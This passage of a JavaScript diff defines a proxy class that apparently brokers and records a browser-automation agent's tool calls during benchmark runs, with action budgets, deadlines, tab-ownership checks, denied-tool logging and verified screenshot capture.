createHash('sha256').update(value).digest('hex'); +// The public open_tab returns before navigation, so a capture can briefly see about:blank. +const TRANSIENT_CAPTURE = /Frame with ID \d+ was removed|No frame with (?:given )?id|Cannot find context with specified id|Execution context was destroyed|Inspected target navigated or closed|did not respond before the (?:capture|page-read) deadline|Browser internal page \(about:blank\)|SCREENSHOT_REGION_OUT_OF_BOUNDS|Cannot access contents of the page/i; +// Another tab can briefly become visible (a popup, or another client sharing the +// window), so a refused capture re-focuses the task tab before it is repeated. +const FOCUS_RACE = /Cannot access contents of the page/i; +// The public release's settled refusal for a listed tab owned by another agent. +export const foreignOwnershipText = result => resultData(result).map(row => row.text ?? row.error ?? '') + .find(text => /Detected: Tab ownership[\s\S]*is owned by agent_[\w-]+, not the calling agent/.test(text)) ?? null; + +export class ManualRecordingProxy { + constructor({ command, rawDir, startUrl, taskId = 'fixture', attemptId = 'attempt-1', env, scheduler = new BrowserScheduler(), + maxActions = 120, deadline = Infinity, onLimit, onDenied, onFault, clientLabel = 'Claude', upstream, public_release = false, publicRelease = public_release, publicCatalog, beforePublicDispatch, + closeTabs = closeChromeTabs }) { + Object.assign(this, { command, rawDir: path.resolve(rawDir), startUrl: new URL(startUrl).href, taskId, attemptId, + scheduler, maxActions, deadline, onLimit, onDenied, onFault, clientLabel }); + this.publicRelease = publicRelease === true; this.profile = profileFor(this.publicRelease); this.allowedTools = toolsForProfile(this.profile); + this.beforePublicDispatch = beforePublicDispatch; this.closeTabs = closeTabs; + this.expectedPublicCatalog = publicCatalog ? publicCatalogReceipt(publicCatalog) : null; + const raw = upstream ?? new StdioClient(command, { env, timeoutMs: 60_000, ...(this.publicRelease ? { stderr: null } : {}) }); + this.upstream = this.publicRelease && typeof raw.prepareGuard !== 'function' ? new PublicReleaseClient(raw, { clientLabel }) : raw; + this.session = new OwnedTaskSession(); this.seq = 0; this.ownerId = `${taskId}/${attemptId}/${randomUUID()}`; + this.pendingVerification = new Map(); this.verificationObservations = new Map(); + this.gatewayContext = new AsyncLocalStorage(); + this.meta = { profile: this.profile.id, ...(this.publicRelease ? { public_release: true, public_behavior: this.profile.public_behavior } : {}), task_id: taskId, attempt_id: attemptId, start_url: this.startUrl, tab_id: null, + counts: { actions: 0, reads: 0, denied: 0, screenshot_errors: 0, screenshot_retries: 0, actor_mutations_dispatched: 0 }, + default_visual_reason: DEFAULT_REASON, started_at: new Date().toISOString(), owned_tabs: [], cleanup_ok: null }; + this.ready = mkdir(this.rawDir, { recursive: true }); + this.observations = new ObservationRecorder({ taskId, attemptId, rawDir: this.rawDir, session: this.session, + request: async (name, args, timeout) => { + const result = await this.request(name, args, timeout, { drain: true }); + if (this.publicRelease && name === 'capture_screenshot') { + this.publicCaptureEvidence = publicNativeCaptureFailure(result); + if (this.publicCaptureEntry && result?.isError) this.publicCaptureEntry.native_capture_result = structuredClone(result); + } + return result; + } }); + } + get tabId() { return this.session.primaryTabId; } + async preparePublicRelease() { + if (!this.publicRelease) return; + this.publicPrepared ??= (async () => { + await this.ready; + this.meta.public_guard = await this.scheduler.run(this.ownerId, async () => { + await this.checkPublicAttachment(); return this.upstream.prepareGuard(); + }, { deadline: this.deadline }); + if (this.meta.public_guard?.ok !== true) throw new Error('Public guard continuity could not be prepared'); + await this.handle('tools/list'); + await this.saveMeta(); + })(); + return this.publicPrepared; + } + async checkPublicAttachment() { + if (!this.publicRelease || !this.beforePublicDispatch) return; + try { + const proof = await this.beforePublicDispatch(); + if (proof?.ok === false || proof === false) throw new Error('Public extension attachment changed'); + } catch { + this.meta.uncertain_upstream = true; this.scheduler.halt('Public extension attachment changed or is unverified'); + throw Object.assign(new Error('Public extension attachment changed or is unverified'), { code: 'PUBLIC_ATTACHMENT_CHANGED', dispatched: false }); + } + } + async saveMeta() { + this.metaWrites = (this.metaWrites ?? Promise.resolve()).catch(() => {}).then(async () => { + await this.ready; await writeFile(path.join(this.rawDir, 'proxy-meta.json'), JSON.stringify(this.meta, null, 2) + '\n'); + }); + return this.metaWrites; + } + accountToolAttempt(name) { + let classification; + try { classification = classifyTool(name, this.profile); } catch {} + const action = !classification || Boolean(this.profile.actions[name]); + if (action && this.meta.counts.actions >= this.maxActions) return { action, charged: false, limit: true }; + this.meta.counts[action ? 'actions' : 'reads']++; + return { action, charged: true, limit: false }; + } + async accountGatewayRequest(method, params, context) { + if (method !== 'tools/call') return null; + context.accounting ??= this.accountToolAttempt(params?.name); + await this.saveMeta(); + return context.accounting.limit ? { code: 'ACTION_LIMIT', message: '120 mutating/UI tool-call attempts exhausted' } : null; + } + async rejectGatewayRequest(method, params, context, code, message) { + if (method !== 'tools/call') return null; + if (!context.accounting) await this.accountGatewayRequest(method, params, context); + if (!context.rejectionRecorded) { + context.rejectionRecorded = true; this.meta.counts.denied++; + if (code === 'GATEWAY_QUEUE_TIMEOUT') this.meta.queue_expiries = (this.meta.queue_expiries ?? 0) + 1; + await appendFile(path.join(this.rawDir, 'gateway-rejections.jsonl'), JSON.stringify({ at: operationClock(), + request_id: context.request_id, gateway_request_id: context.gateway_request_id, + received: context.received, rejected: context.rejected, tool: params?.name, args: params?.arguments ?? {}, + code, error: message, execution_outcome: 'not_executed', budget_charged: context.accounting.charged, + ui_attempt: context.accounting.action, queue_wait_ms: context.queue_wait_ms, + operation_deadline_epoch_ms: context.operation_deadline_epoch_ms }) + '\n'); + await this.saveMeta(); + if (code === 'ACTION_LIMIT') this.onLimit?.(); + } + return errorResult(code, message); + } + cancelGatewayRequest(context) { + for (const [tabId, operationId] of context.affected_tabs ?? []) this.pendingVerification.set(tabId, operationId); + } + async metadataRequest(method, params) { + const context = this.gatewayContext.getStore(); + if (context?.signal.aborted) throw Object.assign(new Error('Gateway request was cancelled before metadata dispatch'), { code: context.cancel_code ?? 'GATEWAY_CANCELLED', dispatched: false }); + const remaining = context ? context.operation_deadline_epoch_ms - context.now() : Infinity; + if (remaining <= 0) throw Object.assign(new Error('Operation deadline reached before metadata dispatch'), { code: 'OPERATION_DEADLINE', dispatched: false }); + return this.upstream.request(method, params, { timeoutMs: Math.min(60_000, remaining) }); + } + async noteEmitted(result, context) { + let stage = 'validation', operationId; + try { + const receipts = resultData(result).filter(row => row?.observation).map(row => row.observation); + const images = (result?.content ?? []).filter(block => block.type === 'image'); + if (images.length !== receipts.length) throw new Error('Actor response native image and observation counts differ'); + const expected = context?.returned_observations ?? []; + if (context && (!Array.isArray(expected) || expected.length !== receipts.length)) + throw new Error('Actor response does not contain every observation prepared for this request'); + if (!receipts.length) { this.notifyPublicFault(); return; } + const [{ inspectPng }, { sha256 }, { isDeepStrictEqual }] = await Promise.all([ + import('./png.mjs'), import('./observation-recorder.mjs'), import('node:util')]); + const frames = [], frameIds = new Set(), operationIds = new Set(); + for (const [index, receipt] of receipts.entries()) { + operationId = receipt.operation_id; + const current = this.session.latestFrame(receipt.tab_id), image = images[index]; + if (!current || !isDeepStrictEqual(receipt, current) || current.emitted_at + || receipt.task_id !== this.taskId || receipt.attempt_id !== this.attemptId + || frameIds.has(receipt.frame_id) || operationIds.has(receipt.operation_id) + || (context && (!Array.isArray(context.operation_ids) || !context.operation_ids.includes(receipt.operation_id) + || !expected.some(frame => isDeepStrictEqual(frame, receipt))))) + throw new Error('Emitted frame does not match this task and operation observation'); + if (receipt.model_image_detail !== 'original' || image.mimeType !== 'image/png' + || image._meta?.['codex/imageDetail'] !== 'original' || typeof image.data !== 'string') + throw new Error('Actor response requires a native PNG with original image metadata'); + const bytes = Buffer.from(image.data, 'base64'), check = inspectPng(bytes); + if (bytes.toString('base64') !== image.data || !check.ok || sha256(bytes) !== receipt.sha256 + || bytes.length !== receipt.byte_length || check.width !== receipt.output_width || check.height !== receipt.output_height) + throw new Error('Actor response native PNG does not match the recorded frame bytes and dimensions'); + frameIds.add(receipt.frame_id); operationIds.add(receipt.operation_id); frames.push(current); + } + stage = 'journal'; + for (const current of frames) { + operationId = current.operation_id; + await appendFile(path.join(this.rawDir, 'emissions.jsonl'), JSON.stringify({ frame_id: current.frame_id, + operation_id: current.operation_id, task_id: this.taskId, tab_id: current.tab_id, sha256: current.sha256, + ...(context ? { request_id: context.request_id, gateway_request_id: context.gateway_request_id, + gateway_received: context.received, gateway_dispatched: context.dispatched, gateway_finished: context.finished, + gateway_queue_wait_ms: context.queue_wait_ms } : {}), + byte_length: current.byte_length, model_image_detail: 'original', emitted: operationClock(), + delivery: 'Verified full native PNG with original metadata in MCP response accepted by task socket writer; model processing is unobserved' }) + '\n'); + } + this.notifyPublicFault(); + for (const current of frames) { + current.emitted_at = new Date().toISOString(); + if (this.verificationObservations.has(current.operation_id)) { + this.pendingVerification.delete(current.tab_id); this.verificationObservations.delete(current.operation_id); + } + } + } catch (error) { + const code = stage === 'journal' ? 'EMISSION_EVIDENCE_FAILED' : 'EMISSION_FRAME_INVALID'; + this.meta.fault = { code, error: error.message, ...(operationId ? { operation_id: operationId } : {}) }; + this.scheduler.halt(stage === 'journal' ? 'Actor image emission evidence could not be persisted' : 'Actor original image emission could not be verified'); + try { this.onFault?.(this.meta.fault); } + finally { await this.saveMeta(); } + throw Object.assign(error, { code }); + } + } + notifyPublicFault() { + if (this.publicFaultNotified || !this.meta.public_native_failure) return; + this.publicFaultNotified = true; + this.onFault?.({ ...this.meta.fault, local_public_native_failure: true }); + } + async request(name, args, timeoutMs = SHEET_TOOLS.has(name) ? 180_000 : 60_000, { drain = false, actorMutation = false } = {}) { + if (this.scheduler.halted && !this.cleanupInProgress) throw Object.assign(new Error(this.scheduler.halted), { code: 'BROWSER_HALTED', dispatched: false }); + const context = this.gatewayContext.getStore(); + if (context?.signal.aborted && (!drain || !context.native_dispatches)) throw Object.assign(new Error('Gateway request was cancelled before this upstream call'), { code: context.cancel_code ?? 'GATEWAY_CANCELLED', dispatched: false }); + if (!drain && !this.cleanupInProgress) this.scheduler.assertCanDispatch(this.ownerId, this.deadline); + await this.checkPublicAttachment(); + const remaining = (context?.operation_deadline_epoch_ms ?? this.requestDeadline ?? Infinity) - (context?.now() ?? Date.now()); + if (remaining <= 0) throw Object.assign(new Error('Operation deadline reached before this upstream call'), { code: 'OPERATION_DEADLINE', dispatched: false }); + if (context) { context.native_dispatches = (context.native_dispatches ?? 0) + 1; context.first_native_dispatch ??= operationClock(); } + if (actorMutation) this.meta.counts.actor_mutations_dispatched++; + return this.upstream.request('tools/call', { name, arguments: args }, { timeoutMs: Math.min(timeoutMs, remaining) }); + } + async inventory() { + try { + const result = await this.request('list_tabs', {}, 10_000); + const rows = this.session.syncOwnedChildren(result); + this.meta.owned_tabs = rows.map(row => row.id); return { result, rows }; + } catch (error) { + if (error.dispatched === false) throw error; + throw Object.assign(new Error('Authoritative owned-tab inventory failed: ' + error.message), { code: 'OWNED_INVENTORY_FAILED' }); + } + } + async focus(tabId, timing, { drain = false } = {}) { + const interval = { tab_id: tabId, started: operationClock(), phase: drain ? 'capture' : 'input' }; + (timing.focus_intervals ??= []).push(interval); + timing.focus_started ??= interval.started; + let result; + try { + result = await this.request('switch_tab', { tabId, active: true, visual_reason: 'Focus this task-owned tab for browser input and its observation', client: this.clientLabel }, 15_000, { drain }); + if (unknown(result) || resultData(result).some(row => row.cleanup_pending === true || row.in_flight === true)) throw new Error('Native foreground operation has an unverified outcome'); + const foreign = this.publicRelease && !resultOK(result) ? foreignOwnershipText(result) : null; + if (foreign) { + this.session.markForeign(tabId, foreign); this.upstream.markForeign?.(tabId); + (this.meta.public_foreign_tabs ??= []).push({ tab_id: tabId, stage: 'focus', native_error: foreign, at: new Date().toISOString() }); + throw Object.assign(new Error('FSB lists this tab but assigns it to another agent, so this task cannot focus it: ' + foreign), { code: 'PUBLIC_TAB_NOT_CONTROLLABLE', dispatched: true, settled: true }); + } + } catch (error) { + if (error.dispatched === false || error.code === 'PUBLIC_TAB_NOT_CONTROLLABLE') throw error; + this.meta.uncertain_upstream = true; + this.scheduler.halt('Native foreground completion is unverified'); + this.onFault?.({ code: 'FOREGROUND_UNCERTAIN', error: error.message }); + throw Object.assign(new Error('Native foreground completion is unverified: ' + error.message), { code: 'FOREGROUND_UNCERTAIN' }); + } finally { + interval.finished = operationClock(); + timing.focus_finished ??= interval.finished; + } + if (!resultOK(result)) throw Object.assign(new Error(`Owned-tab foreground focus failed: ${JSON.stringify(resultData(result))}`), { code: 'FOREGROUND_FAILED' }); + } + async checkFrame(args, tabId) { + const frame = this.session.latestFrame(tabId); + if (!frame || !frame.emitted_at || args.frame_id !== frame.frame_id) + throw Object.assign(new Error('Use the latest emitted frame_id for this target tab'), { code: 'STALE_FRAME' }); + for (const [xKey, yKey] of [['x', 'y'], ['startX', 'startY'], ['endX', 'endY']]) { + if (args[xKey] === undefined && args[yKey] === undefined) continue; + if (!Number.isFinite(args[xKey]) || !Number.isFinite(args[yKey]) || args[xKey] < 0 || args[yKey] < 0 + || args[xKey] >= frame.css_rect.width || args[yKey] >= frame.css_rect.height) + throw Object.assign(new Error('Coordinates must lie inside the current CSS viewport'), { code: 'FRAME_COORDINATES_OUT_OF_BOUNDS' }); + } + const state = await this.request('execute_js', { tab_id: tabId, code: 'return {url:location.href,x:window.visualViewport?.pageLeft ?? scrollX,y:window.visualViewport?.pageTop ?? scrollY,width:window.visualViewport?.width ?? innerWidth,height:window.visualViewport?.height ?? innerHeight,dpr:devicePixelRatio};', + client: this.clientLabel, visual_reason: 'Validate this coordinate action against its recorded frame geometry' }, 10_000); + if (!resultOK(state)) throw Object.assign(new Error('Cannot validate coordinate frame geometry'), { code: 'FRAME_STATE_UNAVAILABLE' }); + const row = resultData(state).find(x => x.result !== undefined || x.value !== undefined); + let geometry = row?.result ?? row?.value; + if (typeof geometry === 'string') { try { geometry = JSON.parse(geometry); } catch {} } + if (!geometry || !['x', 'y', 'width', 'height', 'dpr'].every(key => Number.isFinite(geometry[key])) + || geometry.url !== frame.source_url || Math.abs(geometry.dpr - frame.device_scale_factor) > .01 || Math.abs(geometry.width - frame.css_rect.width) > 1 + || Math.abs(geometry.height - frame.css_rect.height) > 1 || Math.abs(geometry.x - frame.css_rect.x) > 1 || Math.abs(geometry.y - frame.css_rect.y) > 1) + throw Object.assign(new Error('The page navigation, scroll position or viewport changed; request a fresh screenshot'), { code: 'STALE_FRAME' }); + } + async capture(entry, tabId, timing, waitMs) { + if (this.scheduler.halted) throw Object.assign(new Error(this.scheduler.halted), { code: 'BROWSER_HALTED', dispatched: false }); + await this.focus(tabId, timing, { drain: true }); + let recorded; + this.publicCaptureEntry = entry; this.publicCaptureEvidence = null; + try { + // A navigation can replace the frame mid-capture. This only repeats the + // observation, never the action, and every failed attempt stays recorded. + for (let attempt = 1; !recorded; attempt++) { + try { recorded = await this.observations.captureOnce({ operationId: entry.operation_id, seq: entry.seq, tabId, timing, waitMs }); } + catch (error) { + const transient = error.code === 'CAPTURE_FAILED' && !error.cleanup_pending && TRANSIENT_CAPTURE.test(error.message) + && attempt < (/about:blank/.test(error.message) ? 8 : 5) && Date.now() + 5000 < (this.requestDeadline ?? Infinity); + if (!transient) throw error; + this.meta.counts.screenshot_retries++; + (entry.capture_retries ??= []).push({ attempt, error: error.message.slice(0, 400), at: new Date().toISOString() }); + await new Promise(resolve => setTimeout(resolve, 1000 * attempt)); + if (FOCUS_RACE.test(error.message)) await this.focus(tabId, timing, { drain: true }); + } + } + delete entry.native_capture_result; + } + catch (error) { + if (this.publicRelease && error.code === 'CAPTURE_FAILED' && this.publicCaptureEvidence && !error.cleanup_pending) { + this.meta.public_native_failure = { kind: 'public_native_failure', native_result_verified: true, + native_error: { operation_id: entry.operation_id, tool: 'capture_screenshot', response_sha256: this.publicCaptureEvidence.response_sha256, + code: this.publicCaptureEvidence.code }, effect_unknown: entry.execution_outcome === 'unknown', missing_frame: true, + original_fault: { code: error.code, error: error.message, seq: entry.seq } }; + this.meta.task_dispatch_halted = true; + } + if (error.cleanup_pending) { + this.meta.capture_cleanup_pending = { tab_id: tabId, operation_id: entry.operation_id, native_errors: error.native_capture_errors }; + this.scheduler.halt('Native capture cleanup remains unverified for this task-owned tab'); + } + throw error; + } finally { this.publicCaptureEntry = null; } + Object.assign(entry, { screenshot_path: recorded.receipt.screenshot_path, screenshot_error: null, url: recorded.receipt.source_url, frame_receipt: recorded.receipt }); + return recorded; + } + async record(kind, name, args, { bootstrap = false, directCapture = false } = {}) { + // The task deadline prevents dispatch. An operation already dispatched gets + // bounded drain time to preserve its actual outcome and post-action image. + const context = this.gatewayContext.getStore(); + this.requestDeadline = context?.operation_deadline_epoch_ms ?? Date.now() + 295_000; + const entry = { seq: this.seq++, operation_id: randomUUID(), kind, tool: name, args: structuredClone(args), tab_id: null, + started_at: new Date().toISOString(), ended_at: null, ok: false, screenshot_path: null, screenshot_error: null, timing: {} }; + if (context) { + Object.assign(entry, { request_id: context.request_id, gateway_request_id: context.gateway_request_id }); + Object.assign(entry.timing, { gateway_received: context.received, gateway_dispatched: context.dispatched, + gateway_queue_wait_ms: context.queue_wait_ms, operation_deadline_epoch_ms: context.operation_deadline_epoch_ms }); + (context.operation_ids ??= []).push(entry.operation_id); + } + let result, observation; + const research = kind === 'research_read'; + const execute = async () => { + if (!bootstrap && !research) await this.inventory(); + let tabId = name === 'open_tab' ? null : research ? this.session.selectedTabId : this.session.resolveTarget(args); + if (name === 'open_tab') this.session.assertCanOpen(); + if (name === 'close_tab') this.session.assertCanClose(tabId); + if (kind === 'action' && !this.profile.potential_ui_reads?.includes(name) && this.pendingVerification.has(tabId)) throw Object.assign(new Error('The previous action outcome is unknown. Request a fresh page observation or screenshot and inspect the current state before another mutation.'), { code: 'VERIFICATION_REQUIRED' }); + if (COORDINATE_TOOLS.has(name)) await this.checkFrame(args, tabId); + const effective = { ...args }; delete effective.frame_id; + if (name !== 'open_tab' && !research) { + delete effective.tabId; + if (name === 'switch_tab') effective.tabId = tabId; + else effective.tab_id = tabId; + } + if (this.profile.actions[name] || bootstrap) { + effective.client = this.clientLabel; effective.visual_reason ||= DEFAULT_REASON; + if (name !== 'open_tab') await this.focus(tabId, entry.timing); + } + if (name === 'search' && !this.publicRelease) effective.allow_web_fallback = false; + if (name === 'close_tab') effective.allow_active = true; + if (name === 'open_tab' || name === 'switch_tab') effective.active = true; + if (!research && !bootstrap && Date.now() >= this.deadline) throw Object.assign(new Error('Task deadline reached before upstream dispatch'), { code: 'TASK_DEADLINE' }); + entry.tab_id = tabId; entry.effective_args = effective; + if (!directCapture) { + entry.timing.upstream_started = operationClock(); + try { result = await this.request(name, effective, undefined, { actorMutation: kind === 'action' }); } + catch (error) { + if (error.dispatched === false) throw error; + result = errorResult('UPSTREAM_UNCERTAIN', error.message, 'unknown'); + this.scheduler.halt(`Uncertain upstream execution for ${this.taskId}: ${error.message}`); + this.meta.uncertain_upstream = true; + this.onFault?.({ code: 'UPSTREAM_UNCERTAIN', error: error.message, seq: entry.seq }); + } + entry.timing.upstream_finished = operationClock(); + entry.ok = resultOK(result); entry.execution_outcome = entry.ok ? 'reported_success' : unknown(result) ? 'unknown' : 'reported_failure'; + if (kind === 'action' && entry.execution_outcome === 'unknown') this.pendingVerification.set(tabId, entry.operation_id); + if (resultData(result).some(row => row.cleanup_pending === true || row.in_flight === true)) { + this.meta.uncertain_upstream = true; this.scheduler.halt('Native action cleanup or execution remains in flight'); + this.onFault?.({ code: 'UPSTREAM_UNCERTAIN', error: 'Native action cleanup or execution remains in flight', seq: entry.seq }); + } + if (this.meta.uncertain_upstream) { entry.screenshot_error = 'No further browser operation was dispatched while upstream execution remained uncertain'; return; } + if (entry.ok && name === 'open_tab') { tabId = idFromResult(result); this.session.registerOpenedTab(tabId); this.meta.tab_id ??= tabId; } + if (entry.ok && name === 'switch_tab') this.session.selectTab(tabId); + if (research) { if (name === 'list_tabs') this.session.syncOwnedChildren(result); return; } + if (name === 'close_tab') { await this.inventory(); tabId = this.session.selectedTabId; } + } + entry.tab_id = tabId; + if (!tabId) throw Object.assign(new Error('No remaining task-owned tab for the observation'), { code: 'NO_OWNED_TAB' }); + observation = await this.capture(entry, tabId, entry.timing, args.wait_ms); + if (directCapture) { result = { content: [] }; entry.ok = true; entry.execution_outcome = 'observed'; } + }; + try { + if (kind === 'read' || research) { + if (research) await execute(); + else { + await this.inventory(); const tabId = this.session.resolveTarget(args, { allowForeign: this.publicRelease }); entry.tab_id = tabId; + const foreignRead = this.session.foreign.has(tabId); + if (foreignRead) entry.kind = 'foreign_read'; + if (Date.now() >= this.deadline) throw Object.assign(new Error('Task deadline reached before read dispatch'), { code: 'TASK_DEADLINE' }); + entry.timing.upstream_started = operationClock(); + try { result = await this.request(name, { ...args, tab_id: tabId }); } + catch (error) { + if (error.dispatched === false) throw error; + this.meta.uncertain_upstream = true; this.scheduler.halt('Upstream read completion is unverified'); + this.onFault?.({ code: 'UPSTREAM_UNCERTAIN', error: error.message, seq: entry.seq }); + result = errorResult('READ_FAILED', error.message, 'unknown'); + } + entry.timing.upstream_finished = operationClock(); entry.ok = resultOK(result); + entry.execution_outcome = entry.ok ? 'reported_success' : unknown(result) ? 'unknown' : 'reported_failure'; + if (resultData(result).some(row => row.cleanup_pending === true || row.in_flight === true)) { + this.meta.uncertain_upstream = true; this.scheduler.halt('Native read cleanup or execution remains in flight'); + this.onFault?.({ code: 'UPSTREAM_UNCERTAIN', error: 'Native read cleanup or execution remains in flight', seq: entry.seq }); + } + if (this.meta.uncertain_upstream) entry.screenshot_error = 'No capture was dispatched while upstream read completion remained unverified'; + if (foreignRead) entry.screenshot_error = 'No capture: FSB assigns this listed tab to another agent, so it cannot be brought to the foreground'; + else if (!this.meta.uncertain_upstream) observation = await this.scheduler.run(this.ownerId, () => this.capture(entry, tabId, entry.timing), + { cleanup: true, hardDeadline: this.requestDeadline, timing: entry.timing }); + } + } else await this.scheduler.run(this.ownerId, execute, { deadline: this.deadline, hardDeadline: this.requestDeadline, timing: entry.timing }); + } catch (error) { + entry.error_code = error.code ?? 'HARNESS_ERROR'; + if (!result) result = errorResult(entry.error_code, error.message); + entry.error = error.message; + // A read that ran but whose tab turned out foreign has no frame to export. + if (error.code === 'PUBLIC_TAB_NOT_CONTROLLABLE' && entry.timing.upstream_started && kind === 'read') entry.kind = 'foreign_read'; + if (!entry.timing.upstream_started && !entry.timing.capture_started) entry.kind = 'denied'; + if (entry.timing.capture_started || /CAPTURE|FRAME_HASH|FOREGROUND|OWNED_INVENTORY|NO_OWNED_TAB/.test(entry.error_code)) { + entry.screenshot_error = error.message; this.meta.counts.screenshot_errors++; + this.meta.fault = { code: entry.error_code, error: error.message, seq: entry.seq }; + if (!this.meta.public_native_failure || this.meta.public_native_failure.native_error.operation_id !== entry.operation_id) { + this.scheduler.halt(`Browser ownership or evidence verification failed for ${this.taskId}: ${entry.error_code}`); + this.onFault?.(this.meta.fault); + } + } + if (entry.error_code === 'BROWSER_QUEUE_TIMEOUT') this.meta.queue_expiries = (this.meta.queue_expiries ?? 0) + 1; + } + entry.error ??= resultOK(result) ? null : JSON.stringify(resultData(result)); + entry.result_text = resultData(result).map(x => JSON.stringify(x)).join('\n'); + if (context && kind === 'action' && entry.execution_outcome && entry.tab_id) { + (context.affected_tabs ??= new Map()).set(entry.tab_id, entry.operation_id); + if (context.signal.aborted) this.cancelGatewayRequest(context); + } + if (observation) { + entry.timing.prepared_for_emission = operationClock(); + if ((['read', 'capture'].includes(kind) || this.profile.potential_ui_reads?.includes(name)) && entry.ok) this.verificationObservations.set(entry.operation_id, observation.receipt.tab_id); + if (context && !bootstrap) (context.returned_observations ??= []).push(structuredClone(observation.receipt)); + result = { ...result, content: [...(result?.content ?? []).filter(x => x.type !== 'image'), + { type: 'text', text: JSON.stringify({ observation: observation.receipt }) }, observation.image] }; + } + if (this.meta.public_native_failure?.native_error.operation_id === entry.operation_id) { + result = { ...result, isError: true, content: [...(result?.content ?? []), + ...(entry.native_capture_result?.content ?? []), { type: 'text', text: JSON.stringify({ success: false, + code: 'PUBLIC_NATIVE_OBSERVATION_UNAVAILABLE', missing_frame: true, original_fault: this.meta.public_native_failure.original_fault }) }] }; + } + entry.ended_at = new Date().toISOString(); + await appendFile(path.join(this.rawDir, 'steps.jsonl'), JSON.stringify(entry) + '\n'); await this.saveMeta(); + return { result, entry }; + } + async bootstrap() { + this.boot ??= (async () => { + if (this.publicRelease) await this.preparePublicRelease(); + const readyUntil = Math.min(this.deadline, Date.now() + 10_000); let ready = false, lastError; + while (Date.now() < readyUntil && !ready) { + try { await this.inventory(); ready = true; } + catch (error) { if (error.dispatched === false) throw error; lastError = error; if (Date.now() < readyUntil) await new Promise(resolve => setTimeout(resolve, 250)); } + } + if (!ready) throw new Error('Scoped FSB connection did not become ready: ' + lastError?.message); + const { entry } = await this.record('bootstrap', 'open_tab', { url: this.startUrl, active: true, visual_reason: 'Open the benchmark starting page', client: this.clientLabel }, { bootstrap: true }); + if (!entry.ok || !entry.screenshot_path) throw Object.assign(new Error('Benchmark bootstrap failed: ' + (entry.error ?? entry.screenshot_error)), { code: entry.error_code }); + })(); + return this.boot; + } + async handle(method, params = {}, context) { + if (context) return this.gatewayContext.run(context, () => this.handle(method, params)); + await this.ready; + if (method === 'initialize') { + const result = await this.metadataRequest(method, params); return { ...result, capabilities: { tools: {} } }; + } + if (method === 'tools/list') { + const tools = []; let cursor; + do { const page = await this.metadataRequest(method, cursor ? { cursor } : {}); tools.push(...page.tools ?? []); cursor = page.nextCursor; } while (cursor); + for (const name of this.allowedTools) if (!tools.some(t => t.name === name)) throw new Error(`Installed FSB is missing profile tool ${name}`); + if (this.publicRelease) { + const receipt = publicCatalogReceipt(tools); + if ((this.expectedPublicCatalog && this.expectedPublicCatalog.source_catalog_sha256 !== receipt.source_catalog_sha256) + || (this.meta.public_catalog && this.meta.public_catalog.source_catalog_sha256 !== receipt.source_catalog_sha256)) { + this.scheduler.halt('Public registered tool catalog changed'); throw new Error('Public registered tool catalog differs from its frozen receipt'); + } + this.meta.public_catalog = receipt; + await writeFile(path.join(this.rawDir, 'public-tools.json'), JSON.stringify({ tools }, null, 2) + '\n'); await this.saveMeta(); + } + return { tools: tools.filter(t => this.allowedTools.includes(t.name)).map(tool => actorToolSchema(tool, this.profile)) }; + } + if (method === 'resources/list') return { resources: [] }; + if (method === 'resources/templates/list') return { resourceTemplates: [] }; + if (method === 'prompts/list') return { prompts: [] }; + if (method === 'ping') return {}; + if (method !== 'tools/call') throw new Error(`Method ${method} is disabled`); + const name = params.name, args = { ...(params.arguments ?? {}) }; + if (this.meta.task_dispatch_halted) return errorResult('PUBLIC_NATIVE_OBSERVATION_UNAVAILABLE', 'This task stopped after a native capture failure; no later tool was dispatched'); + try { this.scheduler.assertCanDispatch(this.ownerId, this.deadline); } + catch (error) { return errorResult(error.code, error.message); } + const accounting = this.gatewayContext.getStore()?.accounting ?? this.accountToolAttempt(name); + if (accounting.limit) { this.onLimit?.(); return errorResult('ACTION_LIMIT', '120 mutating/UI tool-call attempts exhausted'); } + let classification; + try { classification = classifyTool(name, this.profile); } + catch (error) { + this.meta.counts.denied++; this.onDenied?.(name); + await appendFile(path.join(this.rawDir, 'denied-tools.jsonl'), JSON.stringify({ at: new Date().toISOString(), tool: name, args, + error: error.message, budget_policy: 'Unknown or excluded tool attempts conservatively consume the UI budget', execution_outcome: 'not_executed' }) + '\n'); + await this.saveMeta(); return errorResult(error.code, error.message); + } + if (this.profile.actions[name]) { + args.client = this.clientLabel; args.visual_reason ||= DEFAULT_REASON; + } + await this.bootstrap(); + if (Date.now() >= this.deadline) return errorResult('TASK_DEADLINE', 'Task deadline reached'); + if (name === 'execute_js') { + const violation = checkJavascriptPolicy(args.code); + if (violation) { + await appendFile(path.join(this.rawDir, 'policy-violations.jsonl'), JSON.stringify({ at: new Date().toISOString(), tool: name, args, error: violation }) + '\n'); + await this.saveMeta(); return errorResult('JAVASCRIPT_POLICY', violation); + } + } + if (name === 'capture_screenshot' && Object.keys(args).some(key => !['tab_id', 'wait_ms'].includes(key))) return errorResult('CAPTURE_PROFILE', 'Use current viewport capture without crop or device emulation'); + if (name === 'capture_screenshot' && args.wait_ms !== undefined + && (!Number.isFinite(args.wait_ms) || args.wait_ms < 0 || args.wait_ms > 5000)) + return errorResult('INVALID_SCREENSHOT_ARGUMENTS', 'wait_ms must be a finite number from0 through5000; no capture was dispatched'); + const kind = this.profile.actions[name] ? 'action' : classification === 'research_read' ? 'research_read' : classification === 'capture' ? 'capture' : 'read'; + return (await this.record(kind, name, args, { directCapture: classification === 'capture' })).result; + } + async close({ closeTab = true } = {}) { + if (this.publicRelease) return this.closePublic({ closeTab }); + this.closing ??= (async () => { + this.scheduler.cancelOwner(this.ownerId); + const cleanup = { started_at: new Date().toISOString(), scope: 'same task upstream agent', closes: [], lists: [], ok: false }; + try { + this.cleanupInProgress = true; + this.requestDeadline = Date.now() + 295_000; + if (this.meta.capture_cleanup_pending || this.meta.uncertain_upstream) throw new Error('Native operation cleanup is still unverified; no further focus/close operation was dispatched'); + if (closeTab && this.boot) await this.scheduler.run(this.ownerId, async () => { + for (let round = 0; round < 3; round++) { + const { rows } = await this.inventory(); cleanup.lists.push({ at: new Date().toISOString(), tab_ids: rows.map(t => t.id) }); + if (!rows.length) { cleanup.ok = true; break; } + for (const tab of rows) { + const result = await this.request('close_tab', { tab_id: tab.id, allow_active: true, visual_reason: 'Close only this finished benchmark task-owned tab', client: this.clientLabel }, 40_000); + cleanup.closes.push({ tab_id: tab.id, ok: resultOK(result), result: resultData(result) }); + if (!resultOK(result)) throw new Error('Owned tab close failed'); + } + } + if (!cleanup.ok) { const { rows } = await this.inventory(); cleanup.ok = rows.length === 0; } + if (!cleanup.ok) throw new Error('Owned tab absence could not be verified'); + }, { cleanup: true }); + else { cleanup.ok = true; 